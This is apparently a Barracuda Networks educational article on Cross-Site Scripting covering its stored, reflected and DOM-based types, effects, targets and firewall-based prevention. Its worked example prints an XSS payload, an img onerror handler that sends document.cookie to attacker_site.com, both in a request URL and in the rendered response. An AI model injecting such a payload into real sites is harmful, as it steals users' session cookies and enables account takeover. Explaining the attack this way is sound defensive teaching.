

Cross-Site Scripting Attack

<https://campus.barracuda.com/doc/42048066/>

Description

Cross-Site Scripting (XSS) is an injection type of web vulnerability, which enables an attacker to inject malicious JavaScript or other client-side code (e.g., VBScript, ActiveX, or Flash) into web pages that are subsequently executed in the client's browser (that is, the user's web browser). Client browsers implicitly trust all server-embedded or server-linked scripts, allowing them full access to the DOM in accordance with the same origin policy.

Cross-site scripting attacks can allow attackers to bypass access controls such as same-origin policy. This means the JavaScript is served from the compromised domain and can secretly make HTTP requests to other third-party domains. Attackers typically set up domains to host browser-based malware to further compromise the client browser, and through them, their operating systems.

XSS attacks fall into three categories: Persistent/Stored XSS, Reflected XSS and DOM based XSS.

- **Persistent/Stored XSS attacks** store a malicious script on the web application server. Any user accessing the application becomes vulnerable to having the script execute in their browser.
- **Reflected XSS attacks** find a way to make a compromised server "echo back" a malicious script it receives in a request. An application that receives user input in a request and renders it to a response without proper validation to filter or sanitize the inputs might propagate a malicious JavaScript. If a malicious script ends up in a response, it might execute in the browser context. This is how Reflected XSS attacks are constructed. Attackers devise URLs containing malicious JavaScript that points to applications, enticing users to click the URL (via emails, social engineering, or third party web sites). When the vulnerable server receives the request, it "reflects" the malicious JavaScript in the response and the user's browser executes the script.
- **DOM-based XSS attacks** do not inject new script into a web page; they change the behavior of an existing script. Typically the change is accomplished by changing a script-trusted DOM element.

Effects

Client-side scripts have complete access to the DOM and can access or modify any part of it, including session data theft, cookie manipulation or theft, accessing previous browsing history, and so on. For example, an attacker who succeeds in exploiting XSS vulnerabilities can hijack session data of an authenticated user. This allows an attacker to change a user's password, thus gaining access to the

victim's account/system.

Even more crucial, XSS attacks can allow an attacker to control the entire client system. Malicious scripts can silently redirect client browsers to attacker-controlled domains serving malware-like browser exploit kits (like Black Hole). These kits profile the user browsers including type, version plugins, and so on. They then foist a large number of various exploits that target known and unknown vulnerabilities, including those in Adobe, Java, and Microsoft plugins. Exploit kits are often first to incorporate the latest threats that lack vendor patches, and are generally available for a few hundred dollars.

Methods

XSS injection is possible through any part of a request that is not properly sanitized before being incorporated into a subsequent response. Typical targets include:

- URL Parameters
- FORM Parameters (GET and POST parameters)
- Cookies
- HTTP Headers
- HTTP Referrer Objects

Example

Step 1

An attacker creates an account in a social networking site with malicious JavaScript embedded in a form field of his details (example: address), and submits the details. The details gets saved in the server.

```
/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+document.cookie)>&gender=male
```

The attacker has injected the code (`<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+document.cookie)>`) in the address field to fetch the session cookie of any victim (user) who tries to view the attacker's profile.

Step 2

The user views the attacker's profile. The server sends the details of the attacker's profile to the user's browser in the response. The response contains the malicious JavaScript which executes in the browser and sends the session cookie to the attacker.

```
<html>
<head>
<title>All Form Fields</title>
</head>
<body>
<Table>
<TR> <TD>First Name:</TD> <TD>John</TD></TR>
<TR> <TD>Last Name:</TD> <TD>Peter</TD></TR>
<TR> <TD>Address:</TD> <TD><img src=ImageNotFound.gif
onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+docu
ment.cookie)></TD></TR>
<TR> <TD>Gender:</TD> <TD>Male</TD></TR>
</Table>
</body>
</html>
```

Preventing Attacks

Ideally, Cross-Site Scripting attacks can be prevented through secure coding that enforces proper input validation; however this is often impractical for legacy or third-party applications, or when source code is not directly available. Disabling client-side scripts in user browsers is sometimes suggested as an option, however most modern applications rely on client side scripts to operate normally, so disabling JavaScript leads to the frustration of malfunctioning web applications. Other emerging client-side security technology, including Mozilla's Content Security Policy or IE XSS Filter, show future promise but are not yet foolproof.

The Barracuda Web Application Firewall immediately remediates XSS attacks. It contains comprehensive rule sets to detect plain or obfuscated XSS attacks in incoming requests. Out-of-the-box, the default security policy defeats all XSS attacks without requiring any additional configuration or changes to web application code. Signatures are automatically updated to cover the latest threats.

Tags

OWASP Top 10, PCI-DSS, Client Side Attacks

See Also

[CWE 79](#), [CWE 80](#), [OWASP](#), [WASC](#), [Same Origin Policy](#)

© Barracuda Networks Inc., 2024 The information contained within this document is confidential and proprietary to Barracuda Networks Inc. No portion of this document may be copied, distributed, publicized or used for other than internal documentary purposes without the written consent of an official representative of Barracuda Networks Inc. All specifications are subject to change without notice. Barracuda Networks Inc. assumes no responsibility for any inaccuracies in this document. Barracuda Networks Inc. reserves the right to change, modify, transfer, or otherwise revise this publication without notice.